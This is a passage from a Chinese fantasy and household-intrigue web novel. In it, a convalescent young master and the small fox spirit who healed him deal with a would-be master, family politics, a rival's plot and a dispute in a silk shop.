萧瑾慕淡淡道:“你来晚了,我的病已经被倾倾治好,所以你不能做我师父。”
浮阳被这句话噎住,他堂堂渡劫期大能,天下多少人求着拜他为师,这小子居然敢说“你来晚了?”
他不信邪地上下打量萧瑾慕,表情由漫不经心变为错愕:“居然真的好了?你这出生时服用假死药留下的后遗症,只有九极真丹能治,仅此一颗在我手里,还有谁能治你?”
倾倾弱弱举起手,不服气地想:哼,什么什么丹哪有倾倾的妖丹厉害!
浮阳这才注意到小不点倾倾,目光落到她身上,眼中精光一闪而过,一下便看出萧瑾慕和这倾倾之间多了一道契约之力的联系。
“同心契?有意思。”
不过这小狐妖看着修为浅薄,如何能够施展这等玄奥无比的契约法门。
一缕神识悄无声息地想钻进倾倾体内看个究竟。
然而,就在神识触及倾倾体表的刹那,一道强大的封印之力自倾倾体内最深处轰然反震!虽只泄露出一丝余威,却让浮阳这等渡劫期大能的识海都警铃大作,感受到了一种久违的、源自生命层次的惊悸与压迫!
浮阳不可置信,仅泄露一丝的封印之力连他堂堂渡劫大能都感到恐惧,这倾倾,到底是什么来路?
倾倾只觉得方才好像有一阵微风吹过,凉凉的,让她下意识地打了个小哆嗦。感觉这个叔叔看自己的眼神怪怪的,有些害怕,往萧瑾慕身边靠了靠,然后看到浮阳背后露出的一截橘猫尾巴。
她呀一声,瞬间忘了害怕,小短腿癫癫冲过去,扑在老猫身上,小胳膊环着猫脖子,脸埋进猫毛里蹭,声音雀跃:
“老猫老猫,倾倾好想你呀!”
老猫被揉的猫毛乱飞,但也没挣扎,只轻轻摆摆尾巴,勾了勾她的裙摆。发出舒服的呼噜声。
浮阳看着这一幕,嘴角抽了抽,暂时将心中的惊涛骇浪压下。他调整了一下表情,又转向萧瑾慕,脸上堆起堪称“和蔼”的笑容,只是这笑容在他那张惯常写满“老子天下第一”的脸上显得有些别扭。
“爱徒呀,既然你的身体已经恢复,正是继承本尊衣钵的大好时机,以你的资质,简直就是为本尊道统量身定制!错过本尊,你可知是错过了何等机缘?这天下虽大,但能指引你走上巅峰的,非本尊莫属了。”
萧瑾慕只是静静地听着,目光偶尔掠过正与老猫嬉闹的倾倾,深邃的眼底看不出丝毫波澜。
“我对修仙,没兴趣。”
他对这所谓的修仙大道没什么兴趣,修道是为了长生,是为了追求无上大道,可他没有长生的执念,前十年已经活得无比痛苦,“病好了,我只想安稳过日子。不想拜师,不想学道,不想飞升。况且,”
萧瑾慕直视浮阳,语气嘲讽:“您这一生追求极致大道,您追到了吗?不过是大道止步,寿元无多,怕道统断绝罢了?”
这话直白,像利剑戳进浮阳的心里,他为什么着急寻找能继承他传承的人,也确实是因为他的大道已经止步于此,再无寸进的可能。
渡劫看似离飞升成仙很近,实则差一分就是失之千里,浮阳预感到自己仅剩三十年的寿命再难触碰到飞升的门槛。
浮阳沉默片刻,清越的声音里少了几分收徒时的笃定,多了几分涩然,像在说别人的事,又像在自嘲:“大道止步,寿元无多,确实急了。”
但天下的事多是柳暗花明又一村,浮阳掐指一算,重又挂起漫不经心的笑:“徒儿,本尊以寿元推演天机,你与这倾倾有了缘分,终
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有一日,自然会来求本尊收你为徒。”
老猫却不给他面子,喉咙里发出一声低沉的“喵”,用人语慢悠悠开口:“三十年河东,三十年河西,莫欺老年短命。”
浮阳转身离开的脚步一顿,气急败坏地画了道符丢向老猫,让它三日内都说不了人话。
然后掏出块玉佩丢向萧瑾慕,道:“时机一到,它自然会指引你找到本尊。”
萧瑾慕看了眼手里的玉佩,手感温润,不像凡品,中间刻了几个大字:无极天宗。
浮阳离去,老猫留了下来。
倾倾活泼了许多,叽叽喳喳跟老猫说了许多话,又拿好吃的跟老猫分享。
等老猫吃饱,她站起来,拍着胸脯,奶声奶气的说道:“老猫老猫,这是我的家哦!很不错吧?如果你认我做老大,我就带着你吃香的喝辣的。快叫狐老大!”
回应她的是老猫厚实的猫爪子。
一猫一狐瞬间扭打在一起。
最后以倾倾惨胜结束战斗。
毕竟老猫自认为自己比这小狐狸多活了几百年,理应让让这个**都没长齐的小家伙。
萧熠住的院子里,惨叫声响彻萧府。
“好痛啊娘亲,我的手是不是断了?啊!我的头好痛啊,血,是血!”
晕了一个下午的萧熠刚醒来就痛的死去活来,随手一摸脑袋,又被流下来的血吓得晕了过去。
鲁氏守了一下午,见儿子醒了,还没说上两句话就又晕了过去,顿时有些恨铁不成钢,又是生气又是怨这个二儿子不争气,得不到老夫人的宠爱就算了,连个野丫头都收拾不了。
她立在塌边,指尖攥着绣帕却面不改色,脸上挂着浅淡笑意,语气柔缓却带着不容质疑的威严:“照顾好二少爷。今日之事,府里上下谁敢多嘴半个字,仔细你们的皮!萧府的脸面,丢不得。”
严嬷嬷在这时走了进来,看了满屋子的人,走到鲁氏身边耳语了几句。
鲁氏听后脸色一变,“竟然是老夫人叫的?”,眼珠一转,嘴角的笑容加深,“我明日也该去给母亲请安了。”
第7章 请安
第二天一早。
萧瑾慕带着昏昏欲睡的倾倾来到老夫人院落门口。
老夫人身边的赵嬷嬷早早在门口等候,看见人来连忙将两人迎进去,边走边道:“夫人往日不常来老夫人院子里,今日倒是早早就来候着了。”
这是在隐晦的告知萧瑾慕,夫人该是来找麻烦的。
赵嬷嬷看着这个几乎算是老夫人带大的大公子,或许是因为病弱,从小鲁氏就不亲近这位大公子,不仅是不亲近,更是在生下二公子以后对大公子的态度越来越恶劣。
萧府所有下人都知道,鲁氏不喜大公子,大公子能安稳活到今天,也是多亏了老夫人护着,大公子在萧府的日子才不至于难过。
萧瑾慕点了点头,“多谢嬷嬷。”
粉**绿并未跟来,倾倾昨晚一直跟老猫玩闹睡得晚,又因为今日要来请安醒得早,这会还懵懵的,几乎站着都要睡着,下意识靠着萧瑾慕,寻找合适的位置打盹。
于是赵嬷嬷就看着倾倾旁若无人的在萧瑾慕身边拱来拱去,而萧瑾慕居然默许这种做法。
“大少爷,这……”
“无妨。”萧瑾慕抬手按住那颗不安分的脑袋,制止住倾倾想把头钻进衣领里的想法,然后牵着倾倾的手。荣青站在后面推着轮椅走了进去。
鲁氏见萧瑾慕牵着倾倾进来,脸上挂着恰到好处的温婉笑:“慕儿对这小姑娘真是喜欢的紧,瞧这感情多好。”
萧老夫人是个面容慈祥的老太太,常年礼佛,手里总是盘着佛珠,闻言看向门口,目光在两人牵着的手上停留了一瞬。
淡淡道:“毕竟算是慕儿的救命恩人,亲密些也无妨。”
然后招了招手,慈爱道:“好孩子,来,过来些,让祖母好好看看。”
倾倾看了看萧瑾慕,见他点头同意才迈着小短腿走上前去。
“真是个好孩子,当时没细看,这模样也好。”老夫人点了点头,满意道:“年纪是小了些,慕儿既然喜欢,等及笄后便抬给慕儿做妾罢。”
妾?切?
倾倾所有对人类的认识都是从老猫和画本子里知道的,还没有听过妾这个字,不能理解是什么意思。
她求助一般看向萧瑾慕,问道:“萧瑾慕,什么是妾呀?能吃吗?”
萧瑾慕正要回答,鲁氏先一步出声,对着老夫人笑道:“老夫人真是心善,竟能容一个农户女儿进萧府做妾。换做旁人,这般没根没底的,怕是连侯府侧门都进不来。还不快谢过老夫人?”
倾倾似懂非懂,只觉得是在说自己不好,心里委屈,眼眶瞬间泛红,声音带上哭腔:“不许说我!倾倾不要当妾,倾倾是萧瑾慕的家人,才不是妾!”
萧瑾慕对老夫人说道:“祖母,倾倾救了孙儿的命,冲喜之事可以不作数,但倾倾既然愿意留在孙儿身边,孙儿就不会让她做妾。”
他目光扫过一旁假意劝和的国舅夫人,话里藏锋,专戳鲁氏的体面:“母亲既为当家主母,该懂‘名分需正,更需合心’,倾倾是儿子的人,便要护她周全,绝不让她在我这受妾的委屈,更不愿意让旁人借着名分,轻贱于她。”
少年坐在轮椅里,逆着光,声音掷地有声,震住所有人。
“倾倾,过来。”他把倾倾从老夫人身边叫过来,攥紧她的手,恭声道:“祖母若没有别的事,孙子就先告退了,只是让倾倾做妾的事,孙子年纪还小,听不得这些,以后就不要再提。”
待萧瑾慕牵起哭唧唧的倾倾要走,老夫人才缓缓开口,声音沉缓,没了方才提及及笄做妾时的温和,却也无半分怒容,只剩长辈对晚辈的无奈与疼惜:“站住。”
萧瑾慕脚步顿住,牵着倾倾得手攥得更紧,回身,态度恭敬却不退让:“祖母。”
倾倾金豆豆还挂在眼角,整个人蔫蔫的,偷偷抬眼瞟老夫人。
老夫人看着孙儿执拗的脸,想起他这十年缠绵病榻,又刚经历了鬼门关这一遭,心底的那点威严终究软了下来,重重叹了口气,语气松了劲:“你这孩子,打小就犟,认定的事,十头牛都拉不回来,”
她目光落在倾倾身上,没了先前的审视,只剩几分无奈的温和,对着这怯生生的小丫头道:“罢了,是老身考虑不周,那妾室的话,便当老
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身没说过。”
话落,她又转向鲁氏,训诫道:“你也知道,慕儿的身子,最忌气闷,府里的日子,安安稳稳的才好。既然救了慕儿的命,他要护,便由着他护着,旁人不必置喙,更不必拿名分规矩轻贱旁人,传出去,但显得我们萧家容不下一个孩子。”
最后,老夫人看向萧瑾慕,语气软了几分,带着祖母的疼惜:“回去吧,好好哄哄这孩子,待会去库房里挑几件喜欢的玩意儿,就当祖母给你赔罪,别让她再哭了。往后在府里,她便跟着你,只是规矩还是要教的,别由着她太过跳脱。”
萧瑾慕应道:“谢祖母。”
牵着倾倾,由荣青推着出了正厅。
待二人走后,鲁氏赶忙认错:“母亲,今日是媳妇说错了话,熠儿昨日被这丫头打出了血,我也是气急攻心,才会口不择言,媳妇现在知道错了。”
老夫人抬眼冷冷扫了她一眼,那目光淡却带着主母的威严,说道:“一月前,皇后娘娘来了家书,信里,问了慕儿。”
“皇后娘娘,之前从未过问过萧瑾慕的事,怎么突然会提起?”鲁氏脸上的温婉笑意瞬间僵在唇角,端着茶盏的手指猛的收紧,瓷盏与杯托相触,磕出一声极轻的脆响。显然不敢置信。
老夫人看着这个自己挑中的萧夫人,告诫道:“我知道你不愿意做慕儿的娘,到底不是亲生的。但你也别忘了,咱们萧家是靠谁才有今日的荣光?”
顿了顿,继续说道,声音却放轻了许多:“当今圣上病重,时日怕是不多了,太子被废,其他几位皇子死的死,废的废,只有皇后娘娘的六皇子好好的。”
她看向僵在那儿的鲁氏,剩下的话没有再说,说出口或许就成了刺向六皇子的把柄,但意思已经很明显了,现下只有六皇子能继承大统,等皇后娘娘成为太后。
萧府的日子只会更好过,而对萧瑾慕的态度,也需要改改了。
生怕鲁氏会再做蠢事,老夫人忍不住再提点了一句:“你且安心,这萧府以后有且只会有一位家主,就是萧熠。慕儿,做个富家公子哥安稳过活便是。”
第8章 倾倾会保护你的哟
进到熟悉的小院,倾倾悄悄松了口气,抓着萧瑾慕袖口的小手却没有收回来。
今天在老夫人那里,那个萧瑾慕叫母亲的人身上的味道,让她很不舒服。不是纯粹的恶臭,而是一种裹着花香的臭虫子味。
“怎么了?”萧瑾慕察觉到她的依赖,停下轮椅。
倾倾凑近他脖颈边,鼻尖微动,小眉头皱起来:“萧瑾慕,你身上沾了一点点那个坏母亲的味道,一种又甜又腥的气味,和她袖子里那个可怕的盒子味道一样。”
萧瑾慕眸光一凝。
鲁氏袖中果然藏了东西。而且这气味竟能沾染?是药物,还是针对妖物的引子?
“能分辨出是什么吗?”他放柔声音问。
倾倾努力回忆,狐耳不受控制地冒出来一点尖尖“唔,像是一种很阴冷的虫子,被泡在特别甜的蜜里。闻得倾倾的妖丹,有点凉飕飕的,不喜欢。”
“我知道了。”萧瑾慕将她不安分的耳朵轻轻按回去,说道:“记住这个味道,以后闻到,立刻告诉我。”
“倾倾记住了!”她用力点头,被萧瑾慕牵着进了书房。
刚在书案桌后坐定,窗外便传来三轻三重的叩击声。
“进。”
一道黑影如烟般掠入,单膝跪地,正是负责暗线的青锋。他看了一眼挨着萧瑾慕身边好奇张望的倾倾,见主子并无避讳之意,便低声道:
“公子,两件事。一是六皇子府三日前确有密使南下,接触过萧二爷外宅的管事,谈话内容不详,但密使走后,二爷名下钱庄有大笔银钱异动,流向似与江湖术士有关。”
“二是老夫人去方隐寺上香,是二爷夫人偶然提起寺中送子观音灵验,撺唆前往。当日寺中有一游方道士,曾与老夫人有过交谈。”
萧瑾慕指尖习惯性在轮椅扶手上轻轻敲击。
二叔、六皇子、江湖术士、游方道士……还有这冲喜。
这一切若都是安排好的,那倾倾的到来,是意外,还是计划中的一环?
他看向正努力理解对话,眼睛睁得圆溜溜的倾倾。小狐妖眼神清澈见底,对他的担忧毫无遮掩。
不,她若是棋子,那这枚棋子也太过干净纯粹了。
“继续盯紧二房所有银钱往来,尤其是与陌生方士、药材相关支出。”萧瑾慕下令,“另外,查清楚那游方道士的底细,现在何处。”
“是。”青锋领命,身形一晃,再度消失在窗外。
倾倾蹭到萧瑾慕身边,声音软软:“萧瑾慕,是不是有好多人要害你呀?”
萧瑾慕点了点头。
倾倾立刻挺起小胸脯,信誓旦旦地说:“不用怕,倾倾会变得很强,保护你的哟。”
萧瑾慕被她这副模样逗笑:“那我要给你好多好多好吃的,让你快快变强。”
倾倾立刻笑眯眯点了点小脑袋,终于有了心思打量四周。
她趴在书案边,看萧瑾慕摊开的一堆册子,上面写满了她看不懂的字和数字。
“这是什么呀?”
“账本。”萧瑾慕随口答道,目光却迅速扫过一行行数据。
江南米价、漕运耗损、盐引份额……这些枯燥的数字背后,是他十年病榻间,凭借过目不忘之能和老夫人明里暗里的支持,悄然织就的一张网。
财富是他的甲胄,也是他的耳目。二房与六皇子勾结,动用银钱,就不可能完全避开他的眼线。
只是,他们究竟想用什么手段?对付一个病弱的他,需要这般阵仗吗?
他正凝神思索着,袖口忽然被轻轻扯了扯。
低头,只见倾倾不知何时已变回了小狐狸原形,通体雪白,只尾尖一抹淡红,正用毛茸茸的脑袋蹭他的手腕。一双澄澈的狐狸眼仰望着他,里面满是“好无聊”和“求关注”。
萧瑾慕低头看她,眼底不自觉漫上一点极淡的笑意。
他放下账册,伸手将那团温暖柔软的**球捞到膝上。小狐狸立刻得寸进尺,在他怀里找了个舒服的位置团好,尾巴尖愉快地扫了扫。
萧瑾慕身体微僵,随即放松下来。他一手无意识地顺着小狐狸光华的背**,另一手重新拿起一份账册,心思却似乎更难集中了。
倾倾在这种安抚下逐渐沉沉睡去。
直到夕阳落下才被萧瑾慕抱在怀里去了饭厅。
荣青推着轮椅,好奇的看着主子怀里那只小狐狸,他一只守在外面,没见什么活物进书房里呀?
“少爷,需要去叫少夫人用饭吗?”荣青怕主子把倾倾忘在书房里了,想着去叫一下。
萧瑾慕一本正经道:“不必,她在书房里睡着了,晚点我去叫她。”
却没有纠正少夫人这个称呼。
倾倾感觉自己在一个很温暖的地方
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,而且好闻的味道更浓郁了,她挪了挪身体让自己更舒服一些,脸颊蹭了蹭,狐狸尾巴轻轻缠上萧瑾慕的手腕,软**蹭着他的皮肤,像在撒娇似的勾了勾。
萧瑾慕身体一僵,看着怀里这只睡熟了也不安分的小狐狸,甚至听见她含糊地哼了一声,细若蚊呐,带着奶气的软糯。
他指尖微顿,轻轻捏了捏那团软**,尾巴似有感应,又往他手腕缠了缠,惹得萧瑾慕轻笑一声。
倾倾这一觉就睡到了天黑,醒来就发现自己已经躺在了床上。
虽然睡的很爽,但是,好饿啊!
摸了摸空空如也的肚子,倾倾苦着脸爬下床,不知道去哪里找吃的,决定去找萧瑾慕。
老猫总是神出鬼没的,而且,倾倾一想到老猫总吃蛇虫老鼠,就打了个寒颤,太难吃了,当初被饿的受不了尝过一口之后,倾倾就发誓再也不可能吃这么难吃的东西。
一路寻着萧瑾慕身上的味道钻进书房里,摸到床榻边上,一双狐狸眼睛在夜晚亮的像两盏小灯泡。
萧瑾慕睡着了。倾倾想:他睡着也挺好看的,是倾倾见过最好看的人。
小狐狸就趴在床边看了半晌,也不觉得饿了,然后悄咪咪钻进被子里,继续睡了。
夜色深沉,小狐狸团在少年颈边,呼吸均匀。睡梦中的萧瑾慕无意识侧了身,手臂轻轻拢住了那团温暖柔软的**球。
京城,六皇子府密室。
烛光将朱成睿的影子拉长,扭曲地映在墙上。他面前摊开着一卷泛黄的命格薄册,指尖正停在某一页。
上面记载的,正是他们为萧瑾慕精心挑选的“冲喜娘子”的八字。
阴年阴月阴日,命带死煞,活不过冲喜当夜。
这本该是个完美的一次性棋子,既冲喜无效,又自然死亡,还能给萧瑾慕添一重克妻的污名。
“可是,”下方跪着的术士声音发颤,“萧府眼线确认,那女孩不仅活着,而且,萧瑾慕的病情,当真好转了。”
朱成睿缓缓合上册子,寂静的密室里,只余他冰冷的低语:
“要么,是命格薄错了。”
“要么,”他抬起头,眼里划过一丝近乎狰狞的探究,“被买下的人,根本不是我们当初选中的那个。”
“递消息给萧夫人,设法验一验那丫头。我要知道,她,究竟是谁。”
第9章 倾倾的画本子
清晨的阳光透过窗户,洒进书房内室,留下细碎的光晕。
萧瑾慕醒来时,第一感觉是颈侧毛茸茸的触感。他微微侧头,便看见一团雪白窝在自己肩窝处,狐狸尾巴还搭在他胸前,随着呼吸轻轻起伏。
他明明记得自己将倾倾放回她的床上了,是什么时候跑进来的?
他伸手想将狐狸挪开,指尖刚触到柔软的绒毛,小狐狸便醒了。倾倾迷蒙地睁开眼,狐狸眼眨了眨,然后蹭了蹭他的掌心,喉咙里发出满足的咕噜声。
下一刻,白影闪过,倾倾已恢复人形,揉着眼睛坐起身:“萧瑾慕,早呀。”
她身上只穿着单薄的寝衣,长发散乱地披在肩头,因为刚睡醒,脸颊还泛着淡淡的粉。
萧瑾慕不动声色地移开视线:“你怎么睡在这儿?”
“饿醒了,来找你。”倾倾说得理直气壮,随即肚子适时地“咕”了一声,她可怜巴巴地望过来,“萧瑾慕,饿了。”
萧瑾慕看着那双清澈无辜的眼睛,想起昨夜她确实没吃晚饭一直在睡觉,无奈地按了按额角:“荣青。”
荣青应声进来,看见床榻上并肩坐着的两人,眼神微动,却什么也没问:“少爷,少夫人,早膳已经备好了。”
“传饭吧。”萧瑾慕顿了顿,“多备些甜糕。”
荣青退下后,倾倾眼睛一亮,扑到萧瑾慕身边:“有甜糕!”
“嗯。”萧瑾慕任由她拉着自己的衣袖,“去洗漱。”
早膳摆在书房外间的小厅。倾倾饿了一夜,吃得格外专注。她吃东西的样子很特别:不会像寻常大家闺秀那般小口慢咽,却也不粗鲁,只是专注地品尝每一口,眼睛会微微眯起,像只满足的猫儿。
萧瑾慕胃口素来不好,只用了半碗粥便搁了筷,静静看她吃。
“萧瑾慕,你不吃吗?”倾倾捏着一块桂花糖糕,疑惑地问。
“饱了。”
倾倾歪头想了想,将手中咬了一口的糖糕递过去:“这个很好吃,你尝尝?”
那糖糕上还留着小小的牙印。萧瑾慕看着递到面前的点心,沉默片刻,竟真的就着她的手,咬了一小口。
甜腻的味道在口中化开。他素来不喜甜食,此刻却觉得尚可。
“怎么样?”倾倾期待地问。
“尚可。”萧瑾慕淡淡应道,耳根却有些发热。他方才怎么就…
倾倾却很高兴,将剩下的半块塞进自己嘴里,含糊道:“我就说好吃。”
用过早膳,萧瑾慕照例要处理些事务。倾倾也不闹他,自己寻了处靠窗的软榻坐下,从怀里摸出老猫前日给她的一个小布包。
布包里是老猫近日搜罗的一些画本子。
倾倾将布包打开,哗啦啦将画本子全部倒出来来,然后挑选自己看着好看的。
她还不认识字,只会看画面,看见一本封面画着狐狸和书生的书本时眼睛一亮。
以前都是老猫念给她听,今日老猫不知道又跑哪里去了,倾倾歪着脑袋想了想,抱着画本子爬下软垫。
“萧瑾慕,倾倾想听这本书,但是我不认识字,你可以念给倾倾听吗?”倾倾眼巴巴的看着萧瑾慕。
如果期待值能具象化,现在肯定有两条星星射线砸向萧瑾慕。
萧瑾慕有些受不住这眼神,只能点点头接过画本子,就见封面上写着几个大字《美艳狐妖与书生》。
不是?这名字它对劲吗?
从来不看这些杂书的萧瑾慕随意翻开一页看了看,瞬间瞳孔微缩,脸上泛起一抹可疑的红晕。
啪!
萧瑾慕迅速合上这本罪恶之书,轻咳两声以缓解尴尬。
“萧瑾慕,你是不是不舒服呀?”
倾倾噔噔噔跑开,又噔噔噔跑回来,手里端着一杯水,然后把水递给萧瑾慕。
关心道:“粉**姐说,如果不舒服,多喝热水就会好了。”
萧瑾慕的脸突然变得这么红,一定很不舒服吧。
“可能是被太阳晒的着凉了吧。”萧瑾慕开始胡言乱语,喝了口水压压惊。
“倾倾。”他出声唤道。
“嗯?”倾倾抬起头,大眼睛里满是担忧。
“想不想出去走走?”
倾倾一愣,随即惊喜地睁大眼:“可以吗?”
“今日天气好。”萧瑾慕合上账册,“带你去街上看看。”
荣青备了马车,车厢宽大舒适,铺着厚厚的软垫。萧瑾慕坐上马车后,倾倾便挨着他坐下,好奇地扒着车窗往外看。
这是她第一次正经看到人类城池的街市。
马车驶出萧府,喧闹的人声便涌了进来。街道两旁店铺林立,叫卖声、交谈声、车马声交织成一片鲜活的烟火气。
“好多人呀。”倾倾惊叹道。
萧瑾慕顺着她的目光看去,不过是寻常街景,在她眼中却仿佛新奇无比。他心中微动,问:“你从前……都住在山里?”
“嗯。”倾倾点头,“老猫说人间危险,不让我随便下山。我都是偷偷跑下来玩的,但是不敢走远。”
她说得轻描淡写,萧瑾慕却听出了几分孤寂。一只小妖,独自在山中修行,连下山都要偷偷摸摸。
“以后想出来,跟我说便是。”他道。
倾倾转过头看他,眼睛弯成月牙:“萧瑾慕,你真好。”
马车在一家绸缎庄前停下。这是萧瑾慕名下产业之一,掌柜是个精干的中年人,见东家亲至,连忙迎出来。
“大少爷今日怎么有空来?”掌柜的看见萧瑾慕身边跟着个陌生少女,眼中闪过讶异,却极有分寸地没多问。
“带她来看看。”萧瑾慕示意倾倾上前,“挑些喜欢的料子,做几身衣裳。”
倾倾身上的衣裳还是府里临时置办的,料子普通,款式也简单。
掌柜的何等眼力,立即笑道:“姑娘这边请,店里新到了几批江南来的好料子,颜色鲜亮,最适合姑娘这样的年纪。”
倾倾对衣裳没什么概念,只跟着掌柜的看。她手指拂过一匹水蓝色的软烟罗,触感轻柔如云。
“喜欢这个?”萧瑾慕问。
倾倾点点头,又指向另一匹月白色的流光锦:“那个也好看。”
“都包起来。”萧瑾慕对掌柜的道,“再挑些别的,一并送到府上。”
“是是。”掌柜的连连应声,心中对这位姑娘的地位有了掂量——东家亲自陪着选衣料,这可是头一遭。
正要吩咐伙计打包,突然听到一个娇俏的女声自店铺门口响起。
“那匹布料,本小姐看上了,给我包起来。”
说的正是倾倾刚才看的那匹水蓝色的软烟罗。
倾倾循声望去,只见一个身穿鹅黄衣裙的十岁少女带着两个丫鬟走了进来。那少女容貌明艳,只是眉眼间带着几分骄横,目光正落在倾倾方才看中的那匹水蓝色软烟罗上。
掌柜的脸色一僵,连忙上前赔笑:“陆小姐,实在不巧,这匹软烟罗已经被这位姑娘买下了。库房里还有一批新到的雨过天青色,与这颜色相近,我给您拿来瞧瞧?”
陆芸芸却看也不看掌柜的,径直走到倾倾面前,上下打量她一番,眼中闪过轻蔑:“你是哪家的?本小姐看上的东西,你也敢抢?”
倾倾眨了眨眼,有些困惑:“我没有抢呀,是我先看上的。”
“先看上?”陆芸芸嗤笑一声,“你知道我是谁吗?我爹是江南织造陆正明,这江南的绸缎布匹,我想要哪匹,还没有得不到的。”
她说着就要去拿那匹软烟罗。
倾倾看着她的动作,忽然闻到了一股很特别的味道:不是恶意的臭味,而是一种虚张声势的浮躁气,像被风吹得乱七八糟的花粉。
就在陆芸芸的手即将触到布料的瞬
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间,倾倾悄悄动了动指尖。
一缕极淡的、肉眼看不见的妖力轻轻缠上了那匹软烟罗。
陆芸芸的手指刚碰到布料。
“嘶啦!”
一声清脆的撕裂声响起。
整匹价值不菲的软烟罗,竟从中间整整齐齐地裂开了一道口子!
“啊!”陆芸芸惊叫一声,触电般缩回手,脸色瞬间变了,“这、这布料怎么一碰就破了?!”
掌柜的也傻眼了,急忙上前查看。只见那裂口平滑得诡异,不像是被扯破,倒像是被什么极锋利的东西裁开了。
“陆小姐,这……”掌柜的额头上冒出冷汗。这软烟罗是店里最贵的料子之一,如今毁了,他可赔不起。
陆芸芸回过神来,立刻指着倾倾:“是你!是不是你动了手脚?”
倾倾一脸无辜地摇头:“我没有碰它呀。是你自己碰了才裂开的。”她说的是实话,她确实没有“碰”。
萧瑾慕自始至终都安静地坐在轮椅上,此刻才缓缓开口:“掌柜的,这匹料子既然是在陆小姐手中损坏的,自然该由陆小姐负责赔偿。”
他的声音平静,却带着不容置疑的意味。
陆芸芸这才注意到角落里还有个人。她看向萧瑾慕,先是愣了愣,这男子生得实在好看,即便坐在轮椅上也掩不住通身的气度,随即脸色更加难看:“你又是谁?凭什么要我赔?”
掌柜的赶忙打圆场:“陆小姐,这位是萧府的大公子。这匹料子……确实是您碰了之后才坏的,这么多双眼睛都看着呢。”
“萧府?”陆芸芸眉头一皱,随即想到了什么,看向萧瑾慕的目光多了几分复杂,“你就是那个病弱的萧大公子?”
这话说得颇不客气,荣青脸色一沉,正要开口,却被萧瑾慕抬手制止了。
“在下确实体弱。”萧瑾慕淡淡道,眼神却冷了下来,“但还不至于连一匹布料的归属都看不清。陆小姐若是不愿赔,也无妨,我自会派人去织造府问问陆大人,陆家的家教是否允许当街毁物不赔。”
陆芸芸脸色一阵青一阵白。她虽然骄纵,却也不是全无脑子。萧家是江南首富,连她父亲都要给几分面子。若真闹到父亲那里,自己少不了挨一顿训斥。
更何况,她偷偷瞄了一眼那匹裂开的软烟罗,心里也犯嘀咕:自己明明没用力,怎么好端端的料子就裂了?真是邪门。
“我、我又不是故意的!”陆芸芸的气势弱了下来,却还嘴硬,“再说了,这布料说不定本来就是次品,一碰就坏。”
“是不是次品,陆小姐心里清楚。”萧瑾慕不再看她,转向掌柜的,“至于损坏的这匹,既然陆小姐怀疑是次品,便送去织造府请陆大人鉴定鉴定,看看是否是‘一碰就坏’的货色。”
若真是次品,织造府监管不力;若不是,那陆芸芸毁坏货物还诬陷店家,怎么都是陆家理亏。
陆芸芸彻底说不出话了,气得跺了跺脚:“我们走!”
带着丫鬟匆匆离去,连原本想买的布料也不要了。
待她走后,掌柜的才擦了擦汗,连连对萧瑾慕道谢:“多谢大公子解围,这陆小姐是陆大人独女,平日骄纵惯了。”
“无妨。”萧瑾慕看向倾倾,“还想要那匹月白色的吗?”
倾倾点点头,看了看那匹裂开的软烟罗:“这匹也要。”
“会有一匹新的送到府上。”萧瑾慕温声道。
倾倾摇了摇小脑袋,眼里闪过狡黠的光,凑到萧瑾慕耳边说悄悄话。
掌柜的就站在一旁,看着那个平日里总是板着一张脸的东家随着倾倾说的话露出一抹浅笑。
然后就听见萧瑾慕说:“一并包起来吧。”
“是是是,小的明白!”掌柜的连连点头,看倾倾的眼神都带上了几分敬畏。
这姑娘怕不是普通人啊!
第10章 鲶鱼精
从绸缎庄出来,倾倾凑到萧瑾慕身边,小声问:“我刚才是不是做得太过啦?”
萧瑾慕看着她小心翼翼的模样,眼底掠过一丝笑意:“做得很好。”
“真的?”倾倾眼睛一亮。
“嗯。”萧瑾慕淡淡道,“对付不讲道理的人,便不必太讲道理。”
倾倾似懂非懂地点头,随即又有些担心:“那个陆小姐会不会来找麻烦呀?”
“她不敢。”萧瑾慕看着倾倾,声音平静,“陆正明是个聪明人,不会为了女儿的一时意气,得罪萧家。”
倾倾这才放下心来,又想起什么,拉了拉萧瑾慕的袖子:“萧瑾慕,我刚才用的那招叫‘织梦术’,是我们狐族的小法术,可以暂时改变物体的形态。”
她说得坦诚,毫不隐瞒。
萧瑾慕看着她清澈的眼睛,心中微动:“为什么要告诉我?”
“因为倾倾跟萧瑾慕是家人呀。”倾倾理所当然地说。
又是这句话。
熟悉的话语,再次撞进萧瑾慕心底。
他抬眼,眸色深沉:“倾倾没有别的家人吗?”
倾倾昂起小脑袋,双手环胸,神气道:“老猫说了,倾倾跟孙大圣一样,是从石头缝里蹦出来的。”
说罢,大眼睛里露出憧憬的光。
她凑近一点,压低嗓音,却压不住兴奋:“倾倾现在能变强了哦!等我像孙大圣那么厉害,我、我也要做齐天大狐!”
“狐”字刚出口,她猛地想起这是在闹市街头,慌忙缩回脖子,一双眸子滴溜溜扫过四周。见行人匆匆无人留意,她才抚着胸口,长长舒了口气:“还好还好,老猫说,志向太大,会被坏人听见的。”
萧瑾慕喉结滚动了几下,想要说些什么,却只吐出一声几不可闻的气音。
原本总是紧绷的肩线,悄然放松了些许。
他自幼便知晓,家人二字,在争权夺利的家族里,最是廉价,也最是讽刺。
萧瑾慕低头,看向紧紧拽着自己衣袖的小手,小手温热,和他冰凉的指尖形成鲜明的对比。
冰凉的指尖,轻轻回握倾倾温暖的手,动作柔和。眼神里的淡漠褪去了几分,泛起了一丝连他自己都未曾察觉的温柔。
“知道了。”他这么说道。
夕阳的余晖渐渐淡去,青石板路上还残留着街市的烟火气。
萧瑾慕牵着倾倾的小手,正准备回院子里。
就瞧见一道熟悉的身影在门廊下来回踱步。
是赵嬷嬷。
老人家平日里行事沉稳,此刻却鬓发微乱,神色焦灼,脚步急促地来回徘徊,眼底是藏不住的慌乱。
见到两人的身影,她像是抓到了救命稻草,几乎是踉跄着冲了过来,全然顾不上主仆礼仪。
“大少爷!您可算回来了!”赵嬷嬷的声音带着止不住的颤抖。
萧瑾慕停下,眉头微蹙。
“嬷嬷,慢慢说。”
“老爷,老爷他出事了!”赵嬷嬷哽咽道:“方才老爷同两位爷运送官盐后回府,一进卧房便瘫倒在床上,怎么叫都没反应。府里的府医围了一圈,诊脉、施针,用尽了法子,愣是查不出半分病因,如今全都守在正院,束手无策啊!”
这次跟着去的是萧老爷的两位堂弟。
萧瑾慕自幼浸淫在宗族倾轧的漩涡里,又深知官盐押运的凶险,瞬间便嗅到了阴谋的气息。
一旁的倾倾动了动被牵着的手,小鼻子微微翕动,似乎察觉到了他身上骤然绷紧的戾气。
